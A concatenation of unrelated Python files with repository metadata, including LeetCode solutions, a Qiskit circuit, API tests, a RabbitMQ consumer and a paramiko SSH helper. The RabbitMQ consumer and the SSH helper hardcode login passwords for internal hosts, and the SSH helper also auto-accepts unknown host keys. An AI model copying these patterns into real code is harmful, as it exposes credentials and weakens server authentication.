from init_exp_splB_z0 import meta_folder, project_folder, source_folder, experiment_folder
from run_mc_splB_z0 import result_key
# Path folders
test_paths_cache_folder = os.path.join(meta_folder, 'path_data')
train_paths_cache_folder = os.path.join(project_folder, 'train_paths_cache')
if __name__ == '__main__':
# TODO Change here
from init_exp_splB_z0 import test_name
from run_mc_splB_z0 import rf_cache_folder
test_seg_filepath = experiment_folder + 'result.h5'
seg = vigra.readHDF5(test_seg_filepath, 'z/0/data')[0: 300, 0:300, :]
ds_test = load_dataset(meta_folder, test_name)
from matplotlib import pyplot as plt
dt = ds_test.inp(2)[0: 300, 0:300, :]
compute_border_contacts_old(seg, dt)
|
[
"julianhennies@hotmail.de"
] |
julianhennies@hotmail.de
|
1507896221705c44fb7ce9ab7818ac2b66f65fd7
|
ca7aa979e7059467e158830b76673f5b77a0f5a3
|
/Python_codes/p02682/s859546484.py
|
cba7ac8502d2fc8816e0d58c1f99f1e9a8ff57f7
|
[] |
no_license
|
Aasthaengg/IBMdataset
|
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
|
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
|
refs/heads/main
| 2023-04-22T10:22:44.763102
| 2021-05-13T17:27:22
| 2021-05-13T17:27:22
| 367,112,348
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 184
|
py
|
A, B, C, K = map(int, input().split())
if((K-A)>0):
Y = K-A
else:
print(K)
exit()
if((Y-B)>0):
Z = Y-B
else:
Z = 0
X = A + 0 * Y + (-1) * Z
print(X)
|
[
"66529651+Aastha2104@users.noreply.github.com"
] |
66529651+Aastha2104@users.noreply.github.com
|
d664c90d8aebc67f3b56264fc249bd376fb266fe
|
efb1eb654d3477b411f82f83762796372b5c803b
|
/src/config/django/__init__.py
|
e2581d7f443403883d115c08422b6f43ce23640a
|
[
"MIT"
] |
permissive
|
Rydra/mastermind-api
|
d9bcc6857fe4e3ad2a77560babd64a5d8ded59b7
|
850963b472644dd66b042223ffd86726af60bcda
|
refs/heads/master
| 2023-02-22T03:10:49.589415
| 2022-12-29T14:37:08
| 2022-12-29T14:37:08
| 192,472,100
| 0
| 0
|
MIT
| 2023-02-15T20:28:40
| 2019-06-18T05:33:59
|
Python
|
UTF-8
|
Python
| false
| false
| 161
|
py
|
from split_settings.tools import include
from config.settings import Settings
settings = Settings()
ENVIRONMENT = settings.env
include("base.py", "local.py")
|
[
"davigetto@gmail.com"
] |
davigetto@gmail.com
|
d553a694c1bc0ece302e0020fb2752ee528044af
|
c1bd12405d244c5924a4b069286cd9baf2c63895
|
/azure-mgmt-monitor/azure/mgmt/monitor/models/diagnostic_settings_resource_collection.py
|
396b3e7b7afb2b9f28ec3a523a1fe743d47e6fbd
|
[
"MIT"
] |
permissive
|
lmazuel/azure-sdk-for-python
|
972708ad5902778004680b142874582a284a8a7c
|
b40e0e36cc00a82b7f8ca2fa599b1928240c98b5
|
refs/heads/master
| 2022-08-16T02:32:14.070707
| 2018-03-29T17:16:15
| 2018-03-29T17:16:15
| 21,287,134
| 1
| 3
|
MIT
| 2019-10-25T15:56:00
| 2014-06-27T19:40:56
|
Python
|
UTF-8
|
Python
| false
| false
| 1,040
|
py
|
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
from msrest.serialization import Model
class DiagnosticSettingsResourceCollection(Model):
"""Represents a collection of alert rule resources.
:param value: The collection of diagnostic settings resources;.
:type value: list[~azure.mgmt.monitor.models.DiagnosticSettingsResource]
"""
_attribute_map = {
'value': {'key': 'value', 'type': '[DiagnosticSettingsResource]'},
}
def __init__(self, **kwargs):
super(DiagnosticSettingsResourceCollection, self).__init__(**kwargs)
self.value = kwargs.get('value', None)
|
[
"lmazuel@microsoft.com"
] |
lmazuel@microsoft.com
|
d0f861cc95b97c0247df14a8af581cee071c46e6
|
3dfb2fcf1236eebc1e306ec6c071a8b02441c597
|
/tests/test_api.py
|
6c9544f2816beb6bddcc947a280d3b981569de14
|
[
"Apache-2.0"
] |
permissive
|
pombredanne/bowl
|
fdb10e2b824246adcdced718d5eded10ba840c33
|
3f7765a85c9b2954f7d40f919f18573f24a46580
|
refs/heads/master
| 2021-01-16T17:58:23.241810
| 2014-12-24T06:46:18
| 2014-12-24T06:46:18
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,719
|
py
|
"""
This module is the test suite of the API for bowl.
Created on 27 July 2014
@author: Charlie Lewis
"""
import os
import pkg_resources
import requests
import sys
from bowl import api
class Object(object):
pass
class TestClass:
"""
This class is responsible for all tests in the API.
"""
def start_server(self):
path = os.path.dirname(api.__file__)
child_pid = os.fork()
pid = -1
if child_pid == 0:
# child process
os.chdir(path)
api.main()
else:
pid = child_pid
return pid
def stop_server(self, child_pid):
if child_pid:
os.kill(int(child_pid), 9)
def test_setup(self):
a = api.main().__new__(api.main)
a.setup()
assert 1
def test_root(self):
a = api.root()
a.GET()
assert 1
def test_add(self):
a = api.api_add()
a.POST()
assert 1
def test_connect(self):
a = api.api_connect()
a.GET("host")
assert 1
def test_delete(self):
a = api.api_delete()
a.GET("test")
assert 1
def test_disconnect(self):
a = api.api_disconnect()
a.GET("host")
assert 1
def test_hosts(self):
a = api.api_hosts()
a.GET()
assert 1
def test_image_import(self):
a = api.api_image_import()
a.POST()
assert 1
def test_images(self):
a = api.api_images()
a.GET()
assert 1
def test_info(self):
a = api.api_info()
a.GET()
assert 1
def test_kill(self):
a = api.api_kill()
a.GET("container")
assert 1
def test_link(self):
a = api.api_link()
a.GET("repository")
assert 1
def test_list(self):
a = api.api_list()
a.GET()
assert 1
def test_login(self):
a = api.api_login()
a.POST()
assert 1
def test_logout(self):
a = api.api_logout()
a.POST()
assert 1
def test_logs(self):
a = api.api_logs()
a.GET("container")
assert 1
def test_new(self):
a = api.api_new()
a.POST()
assert 1
def test_remove(self):
a = api.api_remove()
a.POST()
assert 1
def test_repositories(self):
a = api.api_repositories()
a.GET()
assert 1
def test_repo_services(self):
a = api.api_repo_services()
a.GET()
assert 1
def test_services(self):
a = api.api_services()
a.GET()
assert 1
def test_snapshot(self):
a = api.api_snapshot()
a.GET("container")
assert 1
def test_snapshots(self):
a = api.api_snapshots()
a.GET()
assert 1
def test_subtract(self):
a = api.api_subtract()
a.GET("os", "version", "type", "name")
assert 1
def test_test(self):
# !! TODO make sure this isn't recursive
a = api.api_test()
a.GET()
assert 1
def test_unlink(self):
a = api.api_unlink()
a.GET("repository")
assert 1
def test_uptime(self):
a = api.api_uptime()
a.GET()
assert 1
def test_version(self):
a = api.api_version()
# !! TODO not working with travis for some reason
#a.GET()
#child_pid = self.start_server()
#response = requests.get('http://localhost:8080/version')
#version = pkg_resources.get_distribution("bowl").version
#self.stop_server(child_pid)
#assert response.text == version
assert 1
|
[
"clewis@iqt.org"
] |
clewis@iqt.org
|
28735579103adaecd3f593cd35e4b4f802cb9c28
|
d7e0b198c216fc877ec94c4279d837bfbc6bccfc
|
/linkedlist/PartitionLinkedList.py
|
8167452d449622e2bbb3d9c338d1a821e2931df0
|
[
"MIT"
] |
permissive
|
choiking/LeetCode
|
dcdb467e25ad6455156a9e2620dd98fabdf9c28b
|
08a7ad6af2449e4268fce86823cbf667bbed2ae8
|
refs/heads/master
| 2021-07-11T15:46:01.841530
| 2017-10-12T23:34:45
| 2017-10-12T23:34:45
| 107,908,853
| 1
| 0
| null | 2017-10-22T22:48:30
| 2017-10-22T22:48:30
| null |
UTF-8
|
Python
| false
| false
| 936
|
py
|
# Definition for singly-linked list.
# Given a linked list and a value x, partition it such that all nodes less than x come before nodes greater than or equal to x.
# You should preserve the original relative order of the nodes in each of the two partitions.
# Given 1->4->3->2->5->2 and x = 3,
# return 1->2->2->4->3->5.
#思路
#设置两个guardnode
#然后制造两个temp node用于循环
#将第一个链表的末尾指向第二个的开头,返还第一个guardnode.next
class Solution(object):
def partition(self, head, x):
small, large = ListNode(0), ListNode(0)
cur1, cur2 = small, large
while head:
if head.val < x:
cur1.next = head
cur1 = cur1.next
else:
cur2.next = head
cur2 = cur2.next
head = head.next
cur2.next = None
cur1.next = large.next
return small.next
|
[
"junior147147@yahoo.com"
] |
junior147147@yahoo.com
|
956bc15b1abb68df95f0d064267eda4a0caead0b
|
4face76e61792656870d79740d46c3350a22e2c5
|
/MedianOfTwoSortedArrays.py
|
4d3c3e2a2c3040dfc8101c10b7a2f67b2b6e3917
|
[] |
no_license
|
juhideshpande/LeetCode
|
268d0b8d3557d558d7dbd11ba598eaa09f16c515
|
0be5b51e409ae479284452ab24f55b7811583653
|
refs/heads/master
| 2023-02-17T23:26:43.326424
| 2021-01-21T04:38:05
| 2021-01-21T04:38:05
| 271,307,655
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,371
|
py
|
class Solution(object):
def findMedianSortedArrays(self, nums1, nums2):
"""
:type nums1: List[int]
:type nums2: List[int]
:rtype: float
"""
m, n = len(nums1), len(nums2)
if (m > n):
return self.findMedianSortedArrays(nums2, nums1)
half = (m + n) / 2
lo, hi = 0, m
while lo <= hi:
i = lo + (hi - lo) / 2
j = half - i
if i > lo and nums1[i - 1] > nums2[j]:
hi = i - 1
elif i < hi and nums2[j - 1] > nums1[i]:
lo = i + 1
else:
if i == m:
minRight = nums2[j]
elif j == n:
minRight = nums1[i]
else:
minRight = min(nums2[j], nums1[i])
if (m + n) % 2 != 0: # If there are odd elements.
return minRight
if i == 0:
maxLeft = nums2[j - 1]
elif j == 0:
maxLeft = nums1[i - 1]
else:
maxLeft = max(nums1[i - 1], nums2[j - 1])
return (maxLeft + minRight) * 0.5
# Time Complexity O(log(min(m,n))) Space Complexity: O(1)
|
[
"noreply@github.com"
] |
juhideshpande.noreply@github.com
|
c71c927d0ad65e56c35ab4e162cb2d2081b53863
|
371fe9a1fdeb62ad1142b34d732bde06f3ce21a0
|
/scripts/make_loop_csv.py
|
a5b00e1e0c6eb16100a6d2b9acdbb25263ecf479
|
[] |
no_license
|
maickrau/rdna_resolution
|
971f3b7e803565c9432be69b8e2a2852f55b8b79
|
aab42310c31e655cbbc318331082fa3436d69075
|
refs/heads/master
| 2023-03-03T05:14:33.966930
| 2021-02-17T20:45:20
| 2021-02-17T20:45:20
| 339,851,442
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,049
|
py
|
#!/usr/bin/python
import sys
graphfile = sys.argv[1]
# loops from stdin
# csv to stdout
node_lens = {}
with open(graphfile) as f:
for l in f:
parts = l.strip().split('\t')
if parts[0] == 'S':
node_lens[parts[1]] = len(parts[2])
lines = []
column_vals = {}
for node in node_lens:
column_vals[node] = set()
for l in sys.stdin:
parts = l.strip().split('\t')
name = parts[0]
nodes = set(parts[1].replace('>', ' ').replace('<', ' ').split(' '))
this_line = [name]
nodestr = name
for node in node_lens:
if node in nodes:
this_line.append(str(node_lens[node]))
column_vals[node].add(node_lens[node])
else:
this_line.append("0")
column_vals[node].add(0)
lines.append(this_line)
header = "node"
for node in node_lens:
if len(column_vals[node]) == 1: continue
header += "," + node
print(header)
for line in lines:
linestr = line[0]
index = 0
for node in node_lens:
index += 1
if len(column_vals[node]) == 1: continue
linestr += "," + line[index]
print(linestr)
|
[
"m_rautiainen@hotmail.com"
] |
m_rautiainen@hotmail.com
|
a17935821a8b08c407e1e1c9f6530ba43580d57f
|
e9f3abc6b50c07239264b7d2433fb8624a6dfae8
|
/HydroDataDownload/ReadDatabase_SURF_CLI_CHN_MUL_DAY.py
|
84e97bbd80d7ea3b137e1e8610a358b480a0321a
|
[] |
no_license
|
alameday/Python
|
d41f3cb25a67ac6fec9047a46de91d340b99cc92
|
59251eb9b429750040f3fa57c4fdfd2ac8419380
|
refs/heads/master
| 2020-04-07T01:26:09.759387
| 2018-10-08T03:34:14
| 2018-10-08T03:34:14
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,468
|
py
|
#! /usr/bin/env python
# coding=utf-8
# Func. : Read Database of SURF_CLI_CHN_MUL_DAY_V3.0
# Author: Liangjun Zhu
# Date : 2016-4-11
# Email : zlj@lreis.ac.cn
# Blog : http://zhulj.net/python/2016/04/11/Constructing-SURF_CLI_CHN_MUL_DAY_V3.0-database.html
import datetime
import os
import sqlite3
def get_conn(path):
"""
get connection of Sqlite
:param path: path of Sqlite database
"""
conn = sqlite3.connect(path)
if os.path.exists(path) and os.path.isfile(path):
# print('database in hardware :[{}]'.format(path))
return conn
else:
conn = None
# print('database in memory :[:memory:]')
return sqlite3.connect(':memory:')
def get_cursor(conn):
"""
get cursor of current connection
:param conn: connection of Sqlite
"""
if conn is not None:
return conn.cursor()
else:
return get_conn('').cursor()
def close_all(conn, cu):
"""
close connection and cursor of Sqlite
:param conn: connection of Sqlite
:param cu: cursor of conn
"""
try:
if cu is not None:
cu.close()
finally:
if cu is not None:
cu.close()
def getTablesList(dbpath):
"""
Get all tables' name in Sqlite database
:param dbpath:
:return: table names
"""
conn = sqlite3.connect(dbpath)
cu = get_cursor(conn)
tabs = cu.execute(
"select name from sqlite_master where type = 'table' order by name").fetchall()
tabList = list()
for tab in tabs:
if len(tab[0]) == 6:
tabList.append(tab[0])
close_all(conn, cu)
return tabList
def fetchData(conn, sql):
"""
Query data by sql
:param conn:
:param sql:
:return: data queried
"""
data = list()
if sql is not None and sql != '':
cu = get_cursor(conn)
cu.execute(sql)
r = cu.fetchall()
if len(r) > 0:
for e in range(len(r)):
# print(r[e])
data.append(r[e])
else:
print('the [{}] is empty or equal None!'.format(sql))
return data
def saveToCSV(data, csvPath, flag='climData'):
f = open(csvPath, "w")
title = ''
if flag == 'climData':
title = 'stationID,datetimeBJ,avgPRS,maxPRS,minPRS,avgTEM,maxTEM,minTEM,' \
'avgRHU,minRHU,PRE208,PRE820,PRE,smEVP,lgEVP,avgWIN,maxWIN,maxWINASP,' \
'extWIN,extWINASP,SSD,avgGST,maxGST,minGST\n'
elif flag == 'stationInfo':
title = 'stationID,lat,lon,alti\n'
f.write(title)
for items in data:
itemsStr = ''
if flag == 'stationInfo':
items = items[0]
for item in items:
itemsStr += str(item)
itemsStr += ','
itemsStr = itemsStr[:-1]
itemsStr += '\n'
f.write(itemsStr)
f.close()
def isNum(value):
try:
x = int(value)
except TypeError:
return False
except ValueError:
return False
except Exception:
return False
else:
return True
def QueryDatabase(dbpath, savePath, stationIDs, startTime, endTime):
"""
Query and save data from Sqlite database
:param dbpath:
:param savePath:
:param stationIDs:
:param startTime:
:param endTime:
:return:
"""
tableList = getTablesList(dbpath)
conn = sqlite3.connect(dbpath)
if not os.path.isdir(savePath):
os.mkdir(savePath)
stationInfoCSVPath = savePath + os.sep + 'stationInfo.csv'
stationInfoData = list()
if stationIDs == list():
stationIDs = getTablesList(dbpath)
else:
for i in range(len(stationIDs)):
if isNum(stationIDs[i]):
stationIDs[i] = 'S' + str(stationIDs[i])
else:
stationIDs[i] = 'S' + stationIDs[i]
for tabName in stationIDs:
# tabName = 'S' + stationID
stationID = tabName[1:]
if tabName in tableList:
csvPath = savePath + os.sep + tabName + '.csv'
startT = datetime.datetime(startTime[0], startTime[1], startTime[2])
endT = datetime.datetime(endTime[0], endTime[1], endTime[2])
endT += datetime.timedelta(days=1)
startTStr = startT.strftime("%Y-%m-%d %H:%M:%S")[:10]
endTStr = endT.strftime("%Y-%m-%d %H:%M:%S")[:10]
fetch_data_sql = '''SELECT * FROM %s WHERE date BETWEEN "%s" AND
"%s" ORDER BY date''' % (tabName, startTStr, endTStr)
# print(fetch_data_sql)
data = fetchData(conn, fetch_data_sql)
saveToCSV(data, csvPath)
fetch_station_sql = '''SELECT * FROM stationInfo WHERE stID=%s ''' % stationID
stationInfoData.append(fetchData(conn, fetch_station_sql))
saveToCSV(stationInfoData, stationInfoCSVPath, 'stationInfo')
conn.close()
if __name__ == '__main__':
# Input parameters
SQLITE_DB_PATH = r'C:\z_data\common_GIS_Data\SURF_CLI_CHN_MUL_DAY_V3.0\test.db'
QUERY_STATION_IDs = [59981]
QUERY_DATE_FROM = [1960, 1, 1] # format: Year, Month, Day
QUERY_DATE_END = [2017, 12, 31]
SAVE_PATH = r'D:\tmp\zhulj'
QueryDatabase(SQLITE_DB_PATH, SAVE_PATH, QUERY_STATION_IDs, QUERY_DATE_FROM, QUERY_DATE_END)
|
[
"crazyzlj@gmail.com"
] |
crazyzlj@gmail.com
|
e2e88c41fcb82cba6f6b2533f7d4532d42c84a36
|
0a7d49300a547eecc823b78a891057f1017db1b2
|
/rabbitmq/fanout_rec.py
|
e041a3d36ed001c4e471e104b35850cdfe3400c3
|
[] |
no_license
|
PeterZhangxing/codewars
|
f315b2ce610207e84a2f0927bc47b4b1dd89bee4
|
8e4dfaaeae782a37f6baca4c024b1c2a1dc83cba
|
refs/heads/master
| 2020-09-22T12:09:59.419919
| 2020-03-02T12:52:55
| 2020-03-02T12:52:55
| 224,330,565
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,028
|
py
|
import pika
credentials = pika.PlainCredentials('zx2005', 'redhat')
# 使用上面定义的用户名密码,连接远程的队列服务器
connection = pika.BlockingConnection(pika.ConnectionParameters(
"10.1.1.128",
credentials=credentials
))
# 在tcp连接基础上,建立rabbit协议连接
channel = connection.channel()
# 申明一个广播类型的交换器
channel.exchange_declare(exchange='logs', exchange_type='fanout')
# 不指定queue名字,rabbit会随机分配一个名字,exclusive=True会在使用此queue的消费者断开后,自动将queue删除
result = channel.queue_declare(exclusive=True)
queue_name = result.method.queue # 取得随机队列的名字
# 使得队列接收交换器发来的消息
channel.queue_bind(exchange='logs', queue=queue_name)
# 从自己申明的队列接收广播消息
def callback(ch, method, properties, body):
print(" [x] %r" % body)
# 开始从队列中取出数据
channel.basic_consume(callback, queue=queue_name,no_ack=True)
channel.start_consuming()
|
[
"964725349@qq.com"
] |
964725349@qq.com
|
67316c99dc3b31b9eb2fb8f6fffd399a5f6f62fb
|
09e57dd1374713f06b70d7b37a580130d9bbab0d
|
/data/p2DJ/New/program/qiskit/QC/startQiskit_QC108.py
|
d99f75a7d7cceec4efb22f76cc195c74e2336e37
|
[
"BSD-3-Clause"
] |
permissive
|
UCLA-SEAL/QDiff
|
ad53650034897abb5941e74539e3aee8edb600ab
|
d968cbc47fe926b7f88b4adf10490f1edd6f8819
|
refs/heads/main
| 2023-08-05T04:52:24.961998
| 2021-09-19T02:56:16
| 2021-09-19T02:56:16
| 405,159,939
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,104
|
py
|
# qubit number=2
# total number=8
import cirq
import qiskit
from qiskit import IBMQ
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from math import log2,floor, sqrt, pi
import numpy as np
import networkx as nx
def build_oracle(n: int, f) -> QuantumCircuit:
# implement the oracle O_f^\pm
# NOTE: use U1 gate (P gate) with \lambda = 180 ==> CZ gate
# or multi_control_Z_gate (issue #127)
controls = QuantumRegister(n, "ofc")
target = QuantumRegister(1, "oft")
oracle = QuantumCircuit(controls, target, name="Of")
for i in range(2 ** n):
rep = np.binary_repr(i, n)
if f(rep) == "1":
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
oracle.mct(controls, target[0], None, mode='noancilla')
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
# oracle.barrier()
# oracle.draw('mpl', filename='circuit/deutsch-oracle.png')
return oracle
def make_circuit(n:int,f) -> QuantumCircuit:
# circuit begin
input_qubit = QuantumRegister(n, "qc")
target = QuantumRegister(1, "qt")
prog = QuantumCircuit(input_qubit, target)
# inverse last one (can be omitted if using O_f^\pm)
prog.x(target)
# apply H to get superposition
for i in range(n):
prog.h(input_qubit[i])
prog.h(input_qubit[1]) # number=1
prog.cx(input_qubit[0],input_qubit[1]) # number=2
prog.cx(input_qubit[0],input_qubit[1]) # number=5
prog.h(target)
prog.barrier()
# apply oracle O_f
oracle = build_oracle(n, f)
prog.append(
oracle.to_gate(),
[input_qubit[i] for i in range(n)] + [target])
# apply H back (QFT on Z_2^n)
for i in range(n):
prog.h(input_qubit[i])
prog.barrier()
# measure
#for i in range(n):
# prog.measure(input_qubit[i], classicals[i])
prog.x(input_qubit[0]) # number=3
prog.x(input_qubit[0]) # number=4
prog.swap(input_qubit[1],input_qubit[0]) # number=6
prog.swap(input_qubit[1],input_qubit[0]) # number=7
# circuit end
return prog
if __name__ == '__main__':
n = 2
f = lambda rep: rep[-1]
# f = lambda rep: "1" if rep[0:2] == "01" or rep[0:2] == "10" else "0"
# f = lambda rep: "0"
prog = make_circuit(n, f)
sample_shot =2800
IBMQ.load_account()
provider = IBMQ.get_provider(hub='ibm-q')
provider.backends()
backend = provider.get_backend("ibmq_belem")
circuit1 = transpile(prog,FakeVigo())
circuit1.x(qubit=3)
circuit1.x(qubit=3)
circuit1.measure_all()
prog = circuit1
info = execute(prog, backend=backend, shots=sample_shot).result().get_counts()
writefile = open("../data/startQiskit_QC108.csv","w")
print(info,file=writefile)
print("results end", file=writefile)
print(circuit1.depth(),file=writefile)
print(circuit1,file=writefile)
writefile.close()
|
[
"wangjiyuan123@yeah.net"
] |
wangjiyuan123@yeah.net
|
ff632b330a5981db22ea60d8b5c3733208cdecb9
|
8034442a9778043b1d886220a3c928327b6297d4
|
/common/ssh_fabric.py
|
ea533c2060adeb4fb30f0ffdc8d4832bf1b25f06
|
[] |
no_license
|
wangqian0818/auto_test
|
5efe6d7b41ff01e6a9f10211674f55e195484a1c
|
803a485d9720f090f7fa5d4482092cc4e7d9aa73
|
refs/heads/master
| 2023-08-24T01:27:40.956398
| 2021-11-02T02:12:14
| 2021-11-02T02:12:14
| 367,355,734
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,534
|
py
|
#!/usr/bin/env python
# coding: utf-8
# @TIME : 2021/9/1 12:41
import paramiko
import sys
#
# reload(sys)
# sys.setdefaultencoding('utf8')
class Remote_Ops():
def __init__(self, hostname, ssh_port, username='', password=''):
self.hostname = hostname
self.ssh_port = ssh_port
self.username = username
self.password = password
# 密码登入的操作方法
def ssh_connect_exec(self, cmd):
try:
ssh_key = paramiko.SSHClient()
ssh_key.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_key.connect(hostname=self.hostname, port=self.ssh_port, username=self.username, password=self.password,
timeout=10)
# paramiko.util.log_to_file('syslogin.log')
except Exception as e:
print('Connect Error:ssh %s@%s: %s' % (self.username, self.hostname, e))
exit()
stdin, stdout, stderr = ssh_key.exec_command(cmd, get_pty=True)
# 切换root
stdin.write(self.password + '\n')
stdin.flush()
err_list = stderr.readlines()
if len(err_list) > 0:
print('ERROR:' + err_list[0])
exit()
# print stdout.read()
for item in stdout.readlines()[2:]:
print(item.strip())
ssh_key.close()
# ssh登陆的操作方法
def ssh_connect_keyfile_exec(self, file_name, cmd):
try:
ssh_key = paramiko.SSHClient()
ssh_key.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_key.connect(hostname=self.hostname, port=self.ssh_port, key_filename=file_name, timeout=10)
# paramiko.util.log_to_file('syslogin.log')
except Exception as e:
print(e)
exit()
stdin, stdout, stderr = ssh_key.exec_command(cmd)
err_list = stderr.readlines()
if len(err_list) > 0:
print('ERROR:' + err_list[0])
exit()
for item in stdout.readlines():
print(item.strip())
ssh_key.close()
if __name__ == '__main__':
# 密码登陆的操作方法:
test = Remote_Ops('10.10.88.13', 22, 'root', '1q2w3e')
test.ssh_connect_exec('/usr/local/bin/jsac-read-db-num.sh /etc/jsac/agentjsac.new.db ipv4acl')
# ssh key登陆的操作方法:(需要到root下运行)
# file_name = '/var/root/.ssh/id_rsa'
# test1 = Remote_Ops('10.211.55.11', 22)
# test1.ssh_connect_keyfile_exec(file_name, 'apt-get update')
|
[
"wangqianjob0818@163.com"
] |
wangqianjob0818@163.com
|
1760d67abcc3ecccc8485bfdfcd5101b5ad55194
|
f3931179f52c7ef67fd56213fdb774f4f125731f
|
/Graph-InfoClust-GIC经典思路版本/kubao/tabu.py
|
608e22d329ac6b369690e47e34681ff164876473
|
[] |
no_license
|
zhangbo2008/graph_research_latest
|
bb5e1c0d34cbed6675e5bcbfa7cc2502259cc15c
|
c6c363532226554429b14d09ecaaf8eeffd9c31e
|
refs/heads/main
| 2023-03-29T15:52:20.869773
| 2021-04-06T03:06:47
| 2021-04-06T03:06:47
| 355,040,351
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,286
|
py
|
import heapq # Libarary for array sorting https://docs.python.org/2/library/heapq.html
import time
import numpy as np
import math
import pandas as pd
from Solution import Solution
from input import Input
def Write2Excel(results):
solution=pd.DataFrame(results, columns=['Box Type','Box Oriantation in Blok','Box quantity in Blok','Box priority','Blok Starting point','lenght','Width','Hight'])
solution.to_excel('loading hurestic results (Tabu).xlsx')
return
def Tabu_search( Initial_Sol,alpha , beta , gamma ,tabu_size, max_iterations=300, max_solutions=10 , MaxRunTime=60):
start=time.time() # start the timer
Solution_list = [ (-1*Initial_Sol.Score_Calc(Data, alpha , beta , gamma)[0], Initial_Sol) ]
current_Sol= Solution(None) #init for while loop
Best_Sol=Solution(None)
tabu_set = []
it=1
# Main Loop
while it<= max_iterations and time.time() <= start+MaxRunTime:
# Select the solution with minimal score
_ , current_Sol = heapq.heappop( Solution_list )
# if the current solution is better than best solution so far change the best solution
if current_Sol.h_score>Best_Sol.h_score:
Best_Sol=current_Sol
Best_Sol.Score_Calc(Data, alpha , beta , gamma)
#print current_Sol.VU, len(Solution_list)
# genearting new solutions
for Sol,rep in current_Sol.generate_children(6):
# Check if the move is in Tabu list or not
if rep not in tabu_set:
tabu_set = [rep] + tabu_set[:tabu_size-1]
heapq.heappush( Solution_list, (-1*Sol.Score_Calc(Data, alpha , beta , gamma)[0],Sol)) # Add the new solution into the solution list
# Maintain a fix lenght for the solution list
Solution_list = Solution_list[:max_solutions]
it+=1
return (Best_Sol, time.time()-start)
alpha , beta , gamma = 1 , 0 , 0
times=[3,5,10,15,30,60]
filenumbers=[1,2,3,4,5,6,7]
instances=[2,10,15,22,33,45,52,63,78,84]
Final_results=np.zeros((6,7))
for t,T in enumerate(times):
for f,FN in enumerate(filenumbers):
VU=[]
for PN in instances:
Data=Input(FN,PN)
#Data.RandomData(40)
MaxRunTime=T
tabulist_size=int(math.ceil(float(Data.ntype)/2))
max_solutions=2*Data.ntype
Initial_sol= Solution(range(Data.ntype)) # gave a starting solution
# Apply the Tabu
(Best_Sol,Runtime )=Tabu_search( Initial_sol ,alpha , beta , gamma,
tabulist_size, max_solutions=max_solutions ,MaxRunTime=MaxRunTime )
print('Volume Utilization = %f ' %Best_Sol.VU)
VU.append(Best_Sol.VU)
Final_results[t,f]=np.mean(VU)
#print'Best Solution= ' ,Best_Sol.value #,100-Best_Sol.h_score)
#print('Volume Utilization = %f ' %Best_Sol.VU)
#print('Wieght distrbution measure= %f' %Best_Sol.WCG)
#print('Distance from back measure= %f where the maximum is %f' %(Best_Sol.DFF,Solution.max_DFF()))
#print('Run Time = %f sec' %Runtime)
#print('Total number of loaded boxes = %f' %Best_Sol.Total_Box_Number(Data))
#Write2Excel(Best_Sol.Loading_Results)
|
[
"15122306087@163.com"
] |
15122306087@163.com
|
a5cdcc75d5b039b2168a0c913f6cf22289e0757f
|
b7b122b7b9c35ec2f191021c3396f4790f023ed3
|
/03_用列表存储的坐标_数据采集/readCSVcoordi.py
|
622779a136e79f433a8d576a0b5abcfa206a0129
|
[
"MIT"
] |
permissive
|
l5d1l5/python-urbanPlanning
|
e7fe413441aea7df94765062fe14d331a6e0006a
|
f22e5b561a55ac2263aa96e8e9aff155b0aae1fd
|
refs/heads/master
| 2020-06-22T09:54:54.895918
| 2019-06-18T02:22:14
| 2019-06-18T02:22:14
| 197,694,260
| 0
| 2
|
MIT
| 2019-07-19T03:19:41
| 2019-07-19T03:19:40
| null |
UTF-8
|
Python
| false
| false
| 702
|
py
|
# -*- coding: utf-8 -*-
"""
Created on Tue Sep 12 23:30:43 2017
@author: RichieBao-caDesign设计(cadesign.cn)
"""
import csv
import numpy as np
import matplotlib.pyplot as plt
filePath=r"D:/MUBENAcademy/pythonSystem/code/baiduMapPoiLandscape.csv"
f=open(filePath)
csvReader=csv.reader(f)
coordi=[]
for row in csvReader:
if row:
#coordi.append(eval(row[1]))
#coordi.append(eval(row[2]))
#coordi.append(row[0])
coordi.append((eval(row[1]),eval(row[2])))
#print(coordi)
coordiArray=np.array(coordi)
print(coordiArray[:,0])
plt.plot(coordiArray[:,0],coordiArray[:,1],'ro',markersize=5)
plt.xlabel('lng')
plt.ylabel('lat')
plt.show()
f.close()
|
[
"noreply@github.com"
] |
l5d1l5.noreply@github.com
|
cb82788b9ff75cd86e49bf69fbcec4111a67aa5a
|
2c760f659bc7e0415142421fb6c540cfd98b6152
|
/stem_word.py
|
9e8999e197038c72ad4a7266f92cf25d928cf8e7
|
[] |
no_license
|
edimaudo/Natural-Language-Processing
|
32c9279e2ac44eba6b2502e14a3a4759d0d889bd
|
c659e8b14b0dd0fd9b7d115496053d7204b1ccc5
|
refs/heads/master
| 2021-01-12T10:41:15.490730
| 2017-02-19T22:34:39
| 2017-02-19T22:34:39
| 72,611,359
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 487
|
py
|
from nltk.stem import PorterStemmer
from nltk.tokenize import sent_tokenize, word_tokenize
ps = PorterStemmer()
example_words = ["python","pythoner","pythoning","pythoned","pythonly"]
